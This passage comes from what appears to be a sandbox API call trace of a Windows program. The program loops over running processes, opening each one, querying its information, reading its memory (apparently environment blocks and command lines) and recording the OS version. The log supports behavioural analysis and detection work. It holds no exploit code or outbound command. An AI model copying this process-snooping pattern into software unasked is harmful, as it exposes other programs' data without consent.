out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.558] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x307020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.558] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.558] malloc (_Size=0x64) returned 0xeb6230 [0351.558] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f22b4, lpBuffer=0xeb6230, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6230*, lpNumberOfBytesRead=0x0) returned 1 [0351.559] free (_Block=0xeb6230) [0351.559] CloseHandle (hObject=0xa9c) returned 1 [0351.559] _ui64tow_s (in: _Value=0x12b4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4788") returned 0x0 [0351.560] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4788") returned 4 [0351.560] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.560] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.561] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x12b4) returned 0xa9c [0351.561] GetLastError () returned 0x0 [0351.561] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.561] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.561] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.561] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.562] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.562] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.562] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.562] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.562] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.563] malloc (_Size=0x66) returned 0xeb60e0 [0351.563] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f22b6, lpBuffer=0xeb60e0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb60e0*, lpNumberOfBytesRead=0x0) returned 1 [0351.563] free (_Block=0xeb60e0) [0351.563] CloseHandle (hObject=0xa9c) returned 1 [0351.564] _ui64tow_s (in: _Value=0x1344, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4932") returned 0x0 [0351.564] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4932") returned 4 [0351.564] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.564] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.565] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1344) returned 0xa9c [0351.565] GetLastError () returned 0x0 [0351.565] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.565] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x742018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.566] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.566] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x282650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.566] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x282258, lpBuffer=0x5ec5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.566] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.567] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.567] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x742020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.567] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.567] malloc (_Size=0x6e) returned 0xea9520 [0351.567] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2822be, lpBuffer=0xea9520, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9520*, lpNumberOfBytesRead=0x0) returned 1 [0351.568] free (_Block=0xea9520) [0351.569] CloseHandle (hObject=0xa9c) returned 1 [0351.569] _ui64tow_s (in: _Value=0x1388, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5000") returned 0x0 [0351.569] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5000") returned 4 [0351.569] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.569] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.570] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1388) returned 0xa9c [0351.570] GetLastError () returned 0x0 [0351.570] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.570] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ea018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.571] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.571] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.571] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.571] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.571] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.572] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ea020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.572] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.572] malloc (_Size=0x72) returned 0xea8ba0 [0351.572] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a22c2, lpBuffer=0xea8ba0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ba0*, lpNumberOfBytesRead=0x0) returned 1 [0351.573] free (_Block=0xea8ba0) [0351.573] CloseHandle (hObject=0xa9c) returned 1 [0351.573] _ui64tow_s (in: _Value=0x13ac, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5036") returned 0x0 [0351.574] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5036") returned 4 [0351.574] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.574] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.575] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13ac) returned 0xa9c [0351.575] GetLastError () returned 0x0 [0351.575] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.575] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x405018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.575] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.575] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.575] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b2258, lpBuffer=0x5ec5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.576] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.576] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.576] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x405020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.576] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.576] malloc (_Size=0x64) returned 0xeb6150 [0351.576] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b22b4, lpBuffer=0xeb6150, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6150*, lpNumberOfBytesRead=0x0) returned 1 [0351.577] free (_Block=0xeb6150) [0351.577] CloseHandle (hObject=0xa9c) returned 1 [0351.577] _ui64tow_s (in: _Value=0x13c8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5064") returned 0x0 [0351.578] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5064") returned 4 [0351.578] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.578] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.579] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13c8) returned 0xa9c [0351.579] GetLastError () returned 0x0 [0351.579] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.579] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bc018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.579] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.579] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x432610, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.579] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x432258, lpBuffer=0x5ec5a0, nSize=0x4e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.580] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.580] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.580] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bc020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.580] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x431c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.580] malloc (_Size=0x56) returned 0xeaa590 [0351.580] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4322a6, lpBuffer=0xeaa590, nSize=0x54, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa590*, lpNumberOfBytesRead=0x0) returned 1 [0351.581] free (_Block=0xeaa590) [0351.581] CloseHandle (hObject=0xa9c) returned 1 [0351.581] _ui64tow_s (in: _Value=0x1028, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4136") returned 0x0 [0351.582] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4136") returned 4 [0351.582] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.582] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.583] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1028) returned 0xa9c [0351.583] GetLastError () returned 0x0 [0351.584] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.584] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x283018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.584] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.584] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.584] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572258, lpBuffer=0x5ec5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.584] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.585] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.585] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x283020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.585] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x571c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.585] malloc (_Size=0x6e) returned 0xea96a0 [0351.585] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5722be, lpBuffer=0xea96a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea96a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.586] free (_Block=0xea96a0) [0351.586] CloseHandle (hObject=0xa9c) returned 1 [0351.586] _ui64tow_s (in: _Value=0x548, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1352") returned 0x0 [0351.586] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1352") returned 4 [0351.586] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.586] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.587] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x548) returned 0xa9c [0351.587] GetLastError () returned 0x0 [0351.588] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.588] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x443018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.588] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.588] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a2610, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.588] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a2258, lpBuffer=0x5ec5a0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.588] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.589] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.589] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x443020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.589] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.589] malloc (_Size=0x5a) returned 0xeb6380 [0351.589] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a22aa, lpBuffer=0xeb6380, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0351.590] free (_Block=0xeb6380) [0351.590] CloseHandle (hObject=0xa9c) returned 1 [0351.590] _ui64tow_s (in: _Value=0xe98, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3736") returned 0x0 [0351.591] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3736") returned 4 [0351.591] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.591] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.592] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe98) returned 0xa9c [0351.592] GetLastError () returned 0x0 [0351.592] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.592] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.592] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.592] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.592] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2258, lpBuffer=0x5ec5a0, nSize=0x54, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.593] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.593] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 